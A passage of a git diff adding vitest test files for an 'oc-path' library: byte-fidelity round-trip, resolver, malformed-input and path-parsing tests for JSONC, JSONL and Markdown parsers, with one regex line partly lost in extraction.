byte-fidelity round-trip. + * + * Substrate guarantee: `emitJsonc(parseJsonc(raw)) === raw` for every + * input the parser accepts. Mirrors wave-01 but for the JSONC kind. + * Comments, trailing commas, BOMs, mixed line endings — all byte-stable + * via the round-trip path. + * + * **What this file proves**: byte-identical round-trip via the + * default-mode emit (which echoes `ast.raw`). This is necessary but + * not sufficient — without the structural assertions below, a parser + * that emitted `ast.root: null` for every input would still pass the + * byte test (since `raw` is preserved on the AST regardless). + * + * Each assertParseable() call proves the parser actually ran and + * produced a structural tree, not just stored `raw` verbatim and + * called it a day. JC-17 deliberately uses `assertNotParseable` — + * malformed input must echo `raw` AND emit a diagnostic. + */ +import { describe, expect, it } from 'vitest'; +import { emitJsonc } from '../../jsonc/emit.js'; +import { parseJsonc } from '../../jsonc/parse.js'; +import type { JsoncValue } from '../../jsonc/ast.js'; + +function rt(raw: string): string { + return emitJsonc(parseJsonc(raw).ast); +} + +/** + * Verify the parser actually produced a structural tree (not just a + * `null` root with echoed `raw`). Without this, a parser that + * delegated everything to `raw` would pass the byte-fidelity test + * trivially. Returns the parsed root for follow-up structural asserts. + */ +function assertParseable(raw: string): JsoncValue { + const result = parseJsonc(raw); + expect(result.ast.root).not.toBeNull(); + return result.ast.root as JsoncValue; +} + +/** + * The complement: malformed input round-trips bytes verbatim AND + * emits an error diagnostic. JC-17 needs this — without the + * diagnostic check, the test would pass even if the parser silently + * dropped malformed content. + */ +function assertNotParseable(raw: string): void { + const result = parseJsonc(raw); + expect(result.ast.root).toBeNull(); + expect(result.diagnostics.some((d) => d.severity === 'error')).toBe(true); +} + +describe('wave-15 jsonc byte-fidelity', () => { + it('JC-01 empty file', () => { + expect(rt('')).toBe(''); + }); + + it('JC-02 whitespace-only', () => { + expect(rt(' \n\n \n')).toBe(' \n\n \n'); + }); + + it('JC-03 empty object', () => { + expect(rt('{}')).toBe('{}'); + const root = assertParseable('{}'); + expect(root.kind).toBe('object'); + if (root.kind === 'object') {expect(root.entries).toHaveLength(0);} + }); + + it('JC-04 empty array', () => { + expect(rt('[]')).toBe('[]'); + const root = assertParseable('[]'); + expect(root.kind).toBe('array'); + if (root.kind === 'array') {expect(root.items).toHaveLength(0);} + }); + + it('JC-05 trivial scalar root', () => { + expect(rt('42')).toBe('42'); + expect(rt('"x"')).toBe('"x"'); + expect(rt('true')).toBe('true'); + expect(rt('null')).toBe('null'); + expect(assertParseable('42').kind).toBe('number'); + expect(assertParseable('"x"').kind).toBe('string'); + expect(assertParseable('true').kind).toBe('boolean'); + expect(assertParseable('null').kind).toBe('null'); + }); + + it('JC-06 line comments preserved', () => { + const raw = '// a leading comment\n{ "x": 1 } // trailing\n'; + expect(rt(raw)).toBe(raw); + // Pin parse: the structural value `x: 1` is reachable. + const root = assertParseable(raw); + expect(root.kind).toBe('object'); + }); + + it('JC-07 block comments preserved', () => { + const raw = '/* header */\n{\n /* inline */\n "x": 1\n}\n'; + expect(rt(raw)).toBe(raw); + const root = assertParseable(raw); + expect(root.kind).toBe('object'); + }); + + it('JC-08 trailing commas preserved', () => { + const raw = '{\n "x": 1,\n "y": 2,\n}'; + expect(rt(raw)).toBe(raw); + const root = assertParseable(raw); + if (root.kind === 'object') {expect(root.entries).toHaveLength(2);} + }); + + it('JC-09 mixed CRLF + LF preserved', () => { + const raw = '{\r\n "x": 1,\n "y": 2\r\n}'; + expect(rt(raw)).toBe(raw); + const root = assertParseable(raw); + if (root.kind === 'object') {expect(root.entries.map((e) => e.key)).toEqual(['x', 'y']);} + }); + + it('JC-10 BOM preserved on raw', () => { + const raw = '{ "x": 1 }'; + expect(rt(raw)).toBe(raw); + // BOM stripped before parsing — parser still sees `{` as first char. + expect(assertParseable(raw).kind).toBe('object'); + }); + + it('JC-11 deeply nested structures preserved', () => { + const raw = '{ "a": { "b": { "c": { "d": [1, [2, [3, [4]]]] } } } }'; + expect(rt(raw)).toBe(raw); + expect(assertParseable(raw).kind).toBe('object'); + }); + + it('JC-12 string with escape sequences preserved', () => { + const raw = '{ "s": "a\\nb\\tc\\u0041\\\\d\\"e" }'; + expect(rt(raw)).toBe(raw); + // Pin escape resolution — parsed value carries actual control chars. + const root = assertParseable(raw); + if (root.kind === 'object') { + const s = root.entries[0]?.value; + if (s?.kind === 'string') { + expect(s.value).toBe('a\nb\tcA\\d"e'); + } + } + }); + + it('JC-13 numbers in scientific / negative / decimal forms preserved', () => { + const raw = '[ 0, -0, 1.5, -3.14, 1e3, -2.5e-10, 1E+5 ]'; + expect(rt(raw)).toBe(raw); + const root = assertParseable(raw); + if (root.kind === 'array') { + expect(root.items).toHaveLength(7); + expect(root.items.every((v) => v.kind === 'number')).toBe(true); + } + }); + + it('JC-14 unicode characters preserved verbatim', () => { + const raw = '{ "name": "héllo 世界 🎉" }'; + expect(rt(raw)).toBe(raw); + const root = assertParseable(raw); + if (root.kind === 'object') { + const v = root.entries[0]?.value; + if (v?.kind === 'string') {expect(v.value).toBe('héllo 世界 🎉');} + } + }); + + it('JC-15 idiosyncratic whitespace preserved', () => { + const raw = '{ "x" : 1 ,\n "y": 2}'; + expect(rt(raw)).toBe(raw); + expect(assertParseable(raw).kind).toBe('object'); + }); + + it('JC-16 file-level trailing whitespace preserved', () => { + const raw = '{ "x": 1 }\n\n\n'; + expect(rt(raw)).toBe(raw); + expect(assertParseable(raw).kind).toBe('object'); + }); + + it('JC-17 malformed input still emits raw verbatim AND emits a diagnostic', () => { + const raw = '{ broken json with "key": value }'; + expect(rt(raw)).toBe(raw); + // Without this assertion the test passes for any input regardless + // of parser behavior — pin both halves of the contract. + assertNotParseable(raw); + }); + + it('JC-18 comments-only file preserved', () => { + const raw = '// just a comment\n/* and a block */\n'; + expect(rt(raw)).toBe(raw); + // Comments-only files have no structural root — that's expected. + expect(parseJsonc(raw).ast.root).toBeNull(); + }); +}); diff --git a/src/oc-path/tests/scenarios/jsonc-resolver-edges.test.ts b/src/oc-path/tests/scenarios/jsonc-resolver-edges.test.ts new file mode 100644 index 00000000000..06001ddcb98 --- /dev/null +++ b/src/oc-path/tests/scenarios/jsonc-resolver-edges.test.ts @@ -0,0 +1,132 @@ +/** + * Wave 17 — JSONC resolver adversarial edges. + * + * Substrate guarantee: the resolver walks the value tree deterministically + * with mixed dotted / segment paths, returns null on any unresolvable + * walk, and never throws on hostile inputs. + */ +import { describe, expect, it } from 'vitest'; +import { parseJsonc } from '../../jsonc/parse.js'; +import { resolveJsoncOcPath } from '../../jsonc/resolve.js'; +import { parseOcPath } from '../../oc-path.js'; + +function rs(raw: string, ocPath: string) { + return resolveJsoncOcPath(parseJsonc(raw).ast, parseOcPath(ocPath)); +} + +describe('wave-17 jsonc resolver edges', () => { + it('JR-01 root resolves on empty object', () => { + expect(rs('{}', 'oc://config')?.kind).toBe('root'); + }); + + it('JR-02 root resolves on scalar root', () => { + expect(rs('42', 'oc://config')?.kind).toBe('root'); + }); + + it('JR-03 root resolves on array root', () => { + expect(rs('[1,2,3]', 'oc://config')?.kind).toBe('root'); + }); + + it('JR-04 deep dotted descent within section', () => { + const m = rs('{"a":{"b":{"c":1}}}', 'oc://config/a.b.c'); + expect(m?.kind).toBe('object-entry'); + }); + + it('JR-05 missing intermediate key returns null', () => { + expect(rs('{"a":{"b":1}}', 'oc://config/a.x.b')).toBeNull(); + }); + + it('JR-06 numeric segment indexes into array', () => { + const m = rs('{"items":["a","b","c"]}', 'oc://config/items.1'); + expect(m?.kind).toBe('value'); + if (m?.kind === 'value') { + expect(m.node).toMatchObject({ kind: 'string', value: 'b' }); + } + }); + + it('JR-07 negative array index resolves to Nth-from-last', () => { + expect(rs('{"x":[1,2]}', 'oc://config/x.-1')).toMatchObject({ kind: 'value', node: { kind: 'number', value: 2 } }); + expect(rs('{"x":[1,2]}', 'oc://config/x.-2')).toMatchObject({ kind: 'value', node: { kind: 'number', value: 1 } }); + expect(rs('{"x":[1,2]}', 'oc://config/x.-5')).toBeNull(); + }); + + it('JR-08 out-of-bounds array index returns null', () => { + expect(rs('{"x":[1,2]}', 'oc://config/x.99')).toBeNull(); + }); + + it('JR-09 non-integer index returns null (no NaN coercion)', () => { + expect(rs('{"x":[1,2]}', 'oc://config/x.foo')).toBeNull(); + }); + + it('JR-10 null AST root returns null on any path', () => { + expect(rs('', 'oc://config/x')).toBeNull(); + }); + + it('JR-11 descending past a primitive returns null', () => { + expect(rs('{"x":42}', 'oc://config/x.y')).toBeNull(); + }); + + it('JR-12 empty segment in dotted path throws OcPathError', () => { + // v1 invariant: malformed paths fail loud at parse time, not silently null. + expect(() => rs('{"x":1}', 'oc://config/x..y')).toThrow(/Empty dotted sub-segment/); + }); + + it('JR-13 string value at leaf surfaces via object-entry shape', () => { + const m = rs('{"k":"v"}', 'oc://config/k'); + expect(m?.kind).toBe('object-entry'); + if (m?.kind === 'object-entry') {expect(m.node.key).toBe('k');} + }); + + it('JR-14 boolean and null values resolve', () => { + const m1 = rs('{"k":true}', 'oc://config/k'); + expect(m1?.kind).toBe('object-entry'); + const m2 = rs('{"k":null}', 'oc://config/k'); + expect(m2?.kind).toBe('object-entry'); + }); + + it('JR-15 mixed slash + dot segments resolve identically', () => { + const a = rs('{"a":{"b":{"c":1}}}', 'oc://config/a.b.c'); + const b = rs('{"a":{"b":{"c":1}}}', 'oc://config/a/b.c'); + const c = rs('{"a":{"b":{"c":1}}}', 'oc://config/a/b/c'); + expect(a?.kind).toBe(b?.kind); + expect(b?.kind).toBe(c?.kind); + }); + + it('JR-16 keys with special characters resolve', () => { + const m = rs('{"a-b_c":{"x":1}}', 'oc://config/a-b_c.x'); + expect(m?.kind).toBe('object-entry'); + }); + + it('JR-17 unicode keys resolve', () => { + const m = rs('{"héllo":1}', 'oc://config/héllo'); + expect(m?.kind).toBe('object-entry'); + }); + + it('JR-18 large nested structure (depth 20) resolves to leaf', () => { + let json = '"leaf"'; + const segs: string[] = []; + for (let i = 19; i >= 0; i--) { + json = `{"k${i}":${json}}`; + segs.unshift(`k${i}`); + } + const m = rs(json, `oc://config/${segs.join('.')}`); + expect(m?.kind).toBe('object-entry'); + if (m?.kind === 'object-entry') { + expect(m.node.value).toMatchObject({ kind: 'string', value: 'leaf' }); + } + }); + + it('JR-19 resolver is non-mutating across calls', () => { + const { ast } = parseJsonc('{"x":{"y":1}}'); + const before = JSON.stringify(ast); + rs('{"x":{"y":1}}', 'oc://config/x.y'); + rs('{"x":{"y":1}}', 'oc://config/x'); + rs('{"x":{"y":1}}', 'oc://config/missing'); + expect(JSON.stringify(ast)).toBe(before); + }); + + it('JR-20 hostile input shapes do not throw', () => { + expect(() => rs('{garbage}', 'oc://config/x')).not.toThrow(); + expect(() => rs('{"a":', 'oc://config/a')).not.toThrow(); + }); +}); diff --git a/src/oc-path/tests/scenarios/jsonl-byte-fidelity.test.ts b/src/oc-path/tests/scenarios/jsonl-byte-fidelity.test.ts new file mode 100644 index 00000000000..adf0e63f7fe --- /dev/null +++ b/src/oc-path/tests/scenarios/jsonl-byte-fidelity.test.ts @@ -0,0 +1,125 @@ +/** + * Wave 16 — JSONL byte-fidelity round-trip. + * + * Substrate guarantee: `emitJsonl(parseJsonl(raw)) === raw` for every + * input the parser accepts. JSONL is line-oriented; blanks, malformed + * lines, mixed line endings, trailing-newline shape — all byte-stable. + */ +import { describe, expect, it } from 'vitest'; +import { emitJsonl } from '../../jsonl/emit.js'; +import { parseJsonl } from '../../jsonl/parse.js'; + +function rt(raw: string): string { + return emitJsonl(parseJsonl(raw).ast); +} + +describe('wave-16 jsonl byte-fidelity', () => { + it('JL-01 empty file', () => { + expect(rt('')).toBe(''); + }); + + it('JL-02 single line no trailing newline', () => { + expect(rt('{"a":1}')).toBe('{"a":1}'); + }); + + it('JL-03 single line with trailing newline', () => { + expect(rt('{"a":1}\n')).toBe('{"a":1}\n'); + }); + + it('JL-04 multiple lines preserved', () => { + const raw = '{"a":1}\n{"b":2}\n{"c":3}\n'; + expect(rt(raw)).toBe(raw); + }); + + it('JL-05 blank line in the middle preserved', () => { + const raw = '{"a":1}\n\n{"b":2}\n'; + expect(rt(raw)).toBe(raw); + }); + + it('JL-06 multiple blank lines preserved', () => { + const raw = '{"a":1}\n\n\n{"b":2}\n'; + expect(rt(raw)).toBe(raw); + }); + + it('JL-07 malformed line round-trips verbatim', () => { + const raw = '{"a":1}\nthis is not json\n{"b":2}\n'; + expect(rt(raw)).toBe(raw); + }); + + it('JL-08 entirely malformed file round-trips', () => { + const raw = 'header\nbody\nfooter\n'; + expect(rt(raw)).toBe(raw); + }); + + it('JL-09 leading + trailing blanks preserved', () => { + const raw = '\n\n{"a":1}\n\n'; + expect(rt(raw)).toBe(raw); + }); + + it('JL-10 file ending without final newline preserved', () => { + const raw = '{"a":1}\n{"b":2}'; + expect(rt(raw)).toBe(raw); + }); + + it('JL-11 nested object lines preserved', () => { + const raw = '{"a":{"b":{"c":1}}}\n{"x":[1,[2,[3]]]}\n'; + expect(rt(raw)).toBe(raw); + }); + + it('JL-12 unicode in a value line preserved', () => { + const raw = '{"name":"héllo 世界 🎉"}\n'; + expect(rt(raw)).toBe(raw); + }); + + it('JL-13 idiosyncratic whitespace inside a line preserved', () => { + const raw = '{ "a" : 1 }\n'; + expect(rt(raw)).toBe(raw); + }); + + it('JL-14 single blank line file preserved', () => { + const raw = '\n'; + expect(rt(raw)).toBe(raw); + }); + + it('JL-15 large log (1000 lines) preserved', () => { + const lines = Array.from({ length: 1000 }, (_, i) => `{"i":${i}}`); + const raw = lines.join('\n') + '\n'; + expect(rt(raw)).toBe(raw); + }); + + it('JL-16 mixed value + malformed + blank preserved', () => { + const raw = + '{"a":1}\n{not json}\n\n{"b":2}\nstill not json\n{"c":3}\n'; + expect(rt(raw)).toBe(raw); + }); + + // F10 — CRLF preservation. Without lineEnding tracking on the AST, + // a CRLF input edited via setJsonlOcPath rebuilds raw via render + // which joins with `\n`, mixing endings on Windows-authored datasets. + it('JL-17 CRLF input round-trips byte-identical via the default emit', () => { + const raw = '{"a":1}\r\n{"b":2}\r\n{"c":3}\r\n'; + expect(rt(raw)).toBe(raw); + }); + + it('JL-18 CRLF input preserves CRLF after a structural edit (render mode)', () => { + // Pin the render path: setJsonlOcPath rebuilds raw via render mode, + // which now consults ast.lineEnding to reconstruct the original + // convention. Without the fix, render-mode output uses `\n` and + // produces mixed line endings on Windows datasets. + const raw = '{"a":1}\r\n{"b":2}\r\n'; + const { ast } = parseJsonl(raw); + const rendered = emitJsonl(ast, { mode: 'render' }); + expect(rendered).toBe('{"a":1}\r\n{"b":2}'); + // Pin no-LF-only joins by counting CRLFs vs bare LFs. + expect((rendered.match(/\r\n/g) ?? []).length).toBe(1); + expect((rendered.match(/(? { + // Symmetric: a Unix-authored log doesn't mysteriously gain CRLF. + const raw = '{"a":1}\n{"b":2}\n'; + const { ast } = parseJsonl(raw); + const rendered = emitJsonl(ast, { mode: 'render' }); + expect(rendered).toBe('{"a":1}\n{"b":2}'); + }); +}); diff --git a/src/oc-path/tests/scenarios/jsonl-resolver-edges.test.ts b/src/oc-path/tests/scenarios/jsonl-resolver-edges.test.ts new file mode 100644 index 00000000000..edecb2cbb03 --- /dev/null +++ b/src/oc-path/tests/scenarios/jsonl-resolver-edges.test.ts @@ -0,0 +1,125 @@ +/** + * Wave 18 — JSONL resolver adversarial edges. + * + * Substrate guarantee: line addresses (`Lnnn`, `$last`) walk + * deterministically; missing addresses, blank-line targets, and + * malformed-line targets all surface as null without throwing. + */ +import { describe, expect, it } from 'vitest'; +import { parseJsonl } from '../../jsonl/parse.js'; +import { resolveJsonlOcPath } from '../../jsonl/resolve.js'; +import { parseOcPath } from '../../oc-path.js'; + +function rs(raw: string, ocPath: string) { + return resolveJsonlOcPath(parseJsonl(raw).ast, parseOcPath(ocPath)); +} + +describe('wave-18 jsonl resolver edges', () => { + it('JLR-01 root resolves with no segments', () => { + expect(rs('{"a":1}\n', 'oc://log')?.kind).toBe('root'); + }); + + it('JLR-02 L1 resolves to a value line', () => { + const m = rs('{"a":1}\n', 'oc://log/L1'); + expect(m?.kind).toBe('line'); + }); + + it('JLR-03 L99 unknown line returns null', () => { + expect(rs('{"a":1}\n', 'oc://log/L99')).toBeNull(); + }); + + it('JLR-04 $last picks the most recent value line', () => { + const m = rs('{"a":1}\n{"a":2}\n{"a":3}\n', 'oc://log/$last/a'); + expect(m?.kind).toBe('object-entry'); + if (m?.kind === 'object-entry') { + expect(m.node.value).toMatchObject({ kind: 'number', value: 3 }); + } + }); + + it('JLR-05 $last skips trailing blank lines', () => { + const m = rs('{"a":1}\n\n\n', 'oc://log/$last/a'); + expect(m?.kind).toBe('object-entry'); + if (m?.kind === 'object-entry') { + expect(m.node.value).toMatchObject({ kind: 'number', value: 1 }); + } + }); + + it('JLR-06 $last skips trailing malformed lines', () => { + const m = rs('{"a":1}\nbroken\n', 'oc://log/$last/a'); + expect(m?.kind).toBe('object-entry'); + }); + + it('JLR-07 $last on empty file returns null', () => { + expect(rs('', 'oc://log/$last/x')).toBeNull(); + }); + + it('JLR-08 $last on all-blank file returns null', () => { + expect(rs('\n\n\n', 'oc://log/$last/x')).toBeNull(); + }); + + it('JLR-09 $last on all-malformed file returns null', () => { + expect(rs('a\nb\nc\n', 'oc://log/$last/x')).toBeNull(); + }); + + it('JLR-10 garbage line address returns null', () => { + expect(rs('{"a":1}\n', 'oc://log/garbage')).toBeNull(); + expect(rs('{"a":1}\n', 'oc://log/L')).toBeNull(); + expect(rs('{"a":1}\n', 'oc://log/Labc')).toBeNull(); + }); + + it('JLR-11 descent into a blank line returns null', () => { + expect(rs('{"a":1}\n\n{"b":2}\n', 'oc://log/L2/anything')).toBeNull(); + }); + + it('JLR-12 descent into a malformed line returns null', () => { + expect(rs('{"a":1}\nbroken\n{"b":2}\n', 'oc://log/L2/anything')).toBeNull(); + }); + + it('JLR-13 missing field on a value line returns null', () => { + expect(rs('{"a":1}\n', 'oc://log/L1/missing')).toBeNull(); + }); + + it('JLR-14 dotted descent through line value resolves', () => { + const m = rs('{"r":{"ok":true,"d":"x"}}\n', 'oc://log/L1/r.d'); + expect(m?.kind).toBe('object-entry'); + if (m?.kind === 'object-entry') { + expect(m.node.value).toMatchObject({ kind: 'string', value: 'x' }); + } + }); + + it('JLR-15 array index inside a line resolves', () => { + const m = rs('{"items":["a","b","c"]}\n', 'oc://log/L1/items.2'); + expect(m?.kind).toBe('value'); + if (m?.kind === 'value') { + expect(m.node).toMatchObject({ kind: 'string', value: 'c' }); + } + }); + + it('JLR-16 line numbers are 1-indexed', () => { + const m = rs('{"a":1}\n{"a":2}\n', 'oc://log/L1/a'); + if (m?.kind === 'object-entry') { + expect(m.node.value).toMatchObject({ kind: 'number', value: 1 }); + } + }); + + it('JLR-17 line numbers preserved across blank/malformed entries', () => { + const m = rs('{"a":1}\n\nbroken\n{"a":4}\n', 'oc://log/L4/a'); + expect(m?.kind).toBe('object-entry'); + if (m?.kind === 'object-entry') { + expect(m.node.value).toMatchObject({ kind: 'number', value: 4 }); + } + }); + + it('JLR-18 resolver is non-mutating', () => { + const { ast } = parseJsonl('{"a":1}\n{"b":2}\n'); + const before = JSON.stringify(ast); + rs('{"a":1}\n{"b":2}\n', 'oc://log/L1'); + rs('{"a":1}\n{"b":2}\n', 'oc://log/$last'); + expect(JSON.stringify(ast)).toBe(before); + }); + + it('JLR-19 hostile inputs do not throw', () => { + expect(() => rs('not json\n', 'oc://log/L1')).not.toThrow(); + expect(() => rs('', 'oc://log/$last')).not.toThrow(); + }); +}); diff --git a/src/oc-path/tests/scenarios/malformed-input.test.ts b/src/oc-path/tests/scenarios/malformed-input.test.ts new file mode 100644 index 00000000000..baa011352ae --- /dev/null +++ b/src/oc-path/tests/scenarios/malformed-input.test.ts @@ -0,0 +1,155 @@ +/** + * Wave 11 — malformed input recovery. + * + * Substrate guarantee: parser is **soft-error**: it never throws on + * malformed input. Suspicious-but-recoverable inputs produce + * diagnostics; unparseable structural pieces are dropped silently. + */ +import { describe, expect, it } from 'vitest'; +import { parseMd } from '../../parse.js'; + +describe('wave-11 malformed-input', () => { + it('M-01 truncated mid-frontmatter (no close fence)', () => { + const raw = '---\nname: github\n'; + const { ast, diagnostics } = parseMd(raw); + expect(diagnostics.some((d) => d.code === 'OC_FRONTMATTER_UNCLOSED')).toBe(true); + expect(ast.frontmatter).toEqual([]); + }); + + it('M-02 truncated mid-section', () => { + const raw = '## H\n- item\nmid-line'; + const { ast } = parseMd(raw); + expect(ast.blocks.length).toBe(1); + }); + + it('M-03 only `---` (single fence, no content)', () => { + expect(() => parseMd('---\n')).not.toThrow(); + }); + + it('M-04 only `---\\n---`', () => { + const { ast } = parseMd('---\n---'); + expect(ast.frontmatter).toEqual([]); + }); + + it('M-05 binary-ish bytes (non-ASCII control chars)', () => { + const raw = '## H\n\x00\x01\x02\n'; + expect(() => parseMd(raw)).not.toThrow(); + }); + + it('M-06 very long single line (10k chars)', () => { + const raw = `## H\n${'x'.repeat(10_000)}\n`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.heading).toBe('H'); + }); + + it('M-07 deeply repeated headings (1000 H2 blocks)', () => { + const lines: string[] = []; + for (let i = 0; i < 1000; i++) { + lines.push(`## H${i}`); + lines.push(`- item ${i}`); + } + const raw = lines.join('\n') + '\n'; + const { ast } = parseMd(raw); + expect(ast.blocks.length).toBe(1000); + }); + + it('M-08 bullet shape that isn\'t actually a bullet (`-not-a-bullet`)', () => { + const { ast } = parseMd('## H\n-not-a-bullet\n- real\n'); + expect(ast.blocks[0]?.items.length).toBe(1); + }); + + it('M-09 unclosed code fence', () => { + const raw = '## H\n```\nbody\n'; + expect(() => parseMd(raw)).not.toThrow(); + }); + + it('M-10 mismatched fence (open with ``` close with ~~~)', () => { + const raw = '## H\n```\nbody\n~~~\n'; + expect(() => parseMd(raw)).not.toThrow(); + }); + + it('M-11 nested fences (treated linearly, not nested)', () => { + const raw = '## H\n```\n```\nstill-in-second\n```\n'; + expect(() => parseMd(raw)).not.toThrow(); + }); + + it('M-12 empty file', () => { + const { ast, diagnostics } = parseMd(''); + expect(ast.raw).toBe(''); + expect(ast.frontmatter).toEqual([]); + expect(ast.blocks).toEqual([]); + expect(diagnostics).toEqual([]); + }); + + it('M-13 single character file', () => { + const { ast } = parseMd('x'); + expect(ast.preamble).toBe('x'); + expect(ast.blocks).toEqual([]); + }); + + it('M-14 single newline file', () => { + const { ast } = parseMd('\n'); + expect(ast.blocks).toEqual([]); + }); + + it('M-15 file with mixed indentation extremes (tabs, spaces, mixed)', () => { + const raw = '## H\n\t- tabbed\n - spaced\n\t - mixed\n'; + expect(() => parseMd(raw)).not.toThrow(); + }); + + it('M-16 frontmatter with frontmatter-shaped content inside (---)', () => { + const raw = '---\nk: v\n---\n\n---\nshould not parse as second frontmatter\n---\n'; + const { ast } = parseMd(raw); + expect(ast.frontmatter.map((e) => e.key)).toEqual(['k']); + // Second `---` block becomes part of preamble/body (it's not at file start). + expect(ast.preamble).toContain('---'); + }); + + it('M-17 lines starting with `#` but not heading (raw `#` chars in body)', () => { + const raw = '## H\n\n# This is text starting with #\n#### h4 not parsed as block\n'; + const { ast } = parseMd(raw); + expect(ast.blocks.length).toBe(1); + expect(ast.blocks[0]?.bodyText).toContain('# This is text'); + }); + + it('M-18 lines starting with multiple ## but malformed (####, ######)', () => { + const { ast } = parseMd('## Real\n#### Not block\n###### Not block\n'); + expect(ast.blocks.length).toBe(1); + expect(ast.blocks[0]?.heading).toBe('Real'); + }); + + it('M-19 file with just whitespace', () => { + expect(() => parseMd(' \n\t\n \n')).not.toThrow(); + }); + + it('M-20 file with only BOM', () => { + const { ast } = parseMd(''); + expect(ast.raw).toBe(''); + }); + + it('M-21 file mixing BOM + frontmatter + body + sections', () => { + const raw = '---\nk: v\n---\n\nbody\n## Section\n- item\n'; + expect(() => parseMd(raw)).not.toThrow(); + const { ast } = parseMd(raw); + expect(ast.frontmatter[0]?.value).toBe('v'); + expect(ast.blocks[0]?.heading).toBe('Section'); + }); + + it('M-22 line endings: legacy CR-only (Mac classic)', () => { + // Our regex /\r?\n/ doesn't split on CR-only. Treats whole as one line. + const raw = 'line1\rline2\r## Heading\r'; + expect(() => parseMd(raw)).not.toThrow(); + }); + + it('M-23 100 KB file', () => { + const lines: string[] = []; + for (let i = 0; i < 1000; i++) { + lines.push('## H' + i); + for (let j = 0; j < 5; j++) { + lines.push(`- item-${i}-${j}: value with some text content here`); + } + } + const raw = lines.join('\n'); + expect(() => parseMd(raw)).not.toThrow(); + }); +}); diff --git a/src/oc-path/tests/scenarios/oc-path-parse-edges.test.ts b/src/oc-path/tests/scenarios/oc-path-parse-edges.test.ts new file mode 100644 index 00000000000..fa0773d973d --- /dev/null +++ b/src/oc-path/tests/scenarios/oc-path-parse-edges.test.ts @@ -0,0 +1,252 @@ +/** + * Wave 7 — OcPath parsing edges. + * + * Substrate guarantee: `parseOcPath(s)` is a pure function. Valid input + * round-trips via `formatOcPath`; invalid input throws `OcPathError` + * with a stable `code`. + */ +import { describe, expect, it } from 'vitest'; +import { + OcPathError, + formatOcPath, + getPathLayout, + isPattern, + isValidOcPath, + parseOcPath, +} from '../../oc-path.js'; + +function expectErr(fn: () => unknown, code: string): void { + try { + fn(); + expect.fail(`expected OcPathError code ${code}`); + } catch (err) { + expect(err).toBeInstanceOf(OcPathError); + expect((err as OcPathError).code).toBe(code); + } +} + +describe('wave-07 oc-path-parse-edges', () => { + it('OP-01 file-only', () => { + expect(parseOcPath('oc://SOUL.md')).toEqual({ file: 'SOUL.md' }); + }); + + it('OP-02 file + section', () => { + expect(parseOcPath('oc://SOUL.md/Boundaries').section).toBe('Boundaries'); + }); + + it('OP-03 file + section + item', () => { + expect(parseOcPath('oc://SOUL.md/Boundaries/deny-rule-1').item).toBe('deny-rule-1'); + }); + + it('OP-04 file + section + item + field', () => { + expect(parseOcPath('oc://SOUL.md/B/deny-1/risk').field).toBe('risk'); + }); + + it('OP-05 session query parameter', () => { + expect(parseOcPath('oc://X.md?session=daily').session).toBe('daily'); + }); + + it('OP-06 session with full path', () => { + const p = parseOcPath('oc://X.md/sec/item/field?session=cron'); + expect(p).toEqual({ + file: 'X.md', + section: 'sec', + item: 'item', + field: 'field', + session: 'cron', + }); + }); + + it('OP-07 unknown query parameters silently ignored', () => { + const p = parseOcPath('oc://X.md?foo=bar&session=s&baz=qux'); + expect(p.session).toBe('s'); + }); + + it('OP-08 session= with empty value drops session', () => { + const p = parseOcPath('oc://X.md?session='); + expect(p.session).toBeUndefined(); + }); + + it('OP-09 query without `=` ignored', () => { + const p = parseOcPath('oc://X.md?nokeyhere'); + expect(p.session).toBeUndefined(); + }); + + it('OP-10 missing scheme throws', () => { + expectErr(() => parseOcPath('SOUL.md'), 'OC_PATH_MISSING_SCHEME'); + }); + + it('OP-11 wrong scheme throws', () => { + expectErr(() => parseOcPath('https://x.com'), 'OC_PATH_MISSING_SCHEME'); + }); + + it('OP-12 empty after scheme throws', () => { + expectErr(() => parseOcPath('oc://'), 'OC_PATH_EMPTY'); + }); + + it('OP-13 empty segment throws', () => { + expectErr(() => parseOcPath('oc://X.md//item'), 'OC_PATH_EMPTY_SEGMENT'); + }); + + it('OP-14 too-deep nesting throws', () => { + expectErr(() => parseOcPath('oc://X.md/a/b/c/d/e'), 'OC_PATH_TOO_DEEP'); + }); + + it('OP-15 non-string throws', () => { + expectErr(() => parseOcPath(42 as unknown as string), 'OC_PATH_NOT_STRING'); + }); + + it('OP-16 round-trip canonical forms', () => { + const cases = [ + 'oc://SOUL.md', + 'oc://SOUL.md/Boundaries', + 'oc://SOUL.md/Boundaries/deny-rule-1', + 'oc://SOUL.md/Boundaries/deny-rule-1/risk', + 'oc://SOUL.md?session=daily', + 'oc://X.md/a/b/c?session=s', + 'oc://skills/email-drafter/[frontmatter]/name', + 'oc://config/plugins.entries.foo.token', + ]; + for (const c of cases) { + expect(formatOcPath(parseOcPath(c)), `round-trip failed for ${c}`).toBe(c); + } + }); + + it('OP-17 isValidOcPath true positives', () => { + expect(isValidOcPath('oc://X.md')).toBe(true); + expect(isValidOcPath('oc://X.md/sec/item/field')).toBe(true); + }); + + it('OP-18 isValidOcPath true negatives', () => { + expect(isValidOcPath('')).toBe(false); + expect(isValidOcPath('X.md')).toBe(false); + expect(isValidOcPath('oc://')).toBe(false); + expect(isValidOcPath('oc://x//y')).toBe(false); + expect(isValidOcPath(null)).toBe(false); + expect(isValidOcPath({})).toBe(false); + }); + + it('OP-19 file segment with special chars (file with dots/slashes)', () => { + const p = parseOcPath('oc://config/plugins.entries.foo.token'); + expect(p.file).toBe('config'); + expect(p.section).toBe('plugins.entries.foo.token'); + }); + + it('OP-20 section segment with hyphens / underscores / numbers', () => { + const p = parseOcPath('oc://X.md/Multi-Tenant_Section_2'); + expect(p.section).toBe('Multi-Tenant_Section_2'); + }); + + it('OP-21 [frontmatter] sentinel is just a section name', () => { + const p = parseOcPath('oc://X.md/[frontmatter]/name'); + expect(p.section).toBe('[frontmatter]'); + expect(p.item).toBe('name'); + }); + + it('OP-22 formatOcPath rejects empty file', () => { + expectErr(() => formatOcPath({ file: '' }), 'OC_PATH_FILE_REQUIRED'); + }); + + it('OP-23 formatOcPath rejects item without section', () => { + expectErr(() => formatOcPath({ file: 'X.md', item: 'i' }), 'OC_PATH_NESTING'); + }); + + it('OP-24 formatOcPath quotes raw slot values containing special chars', () => { + // Closes ClawSweeper P2 on PR #78678: `formatOcPath` previously + // concatenated raw slot values, so a programmatically-constructed + // path with a `/` in the section/item slot would emit extra + // segments and fail to parse back to the same address. + // Use a slot value with `/` (and no internal `.`) — `.` inside + // a slot is the dotted sub-segment delimiter; callers wanting a + // literal `.` in a key should pre-quote that single sub-segment. + 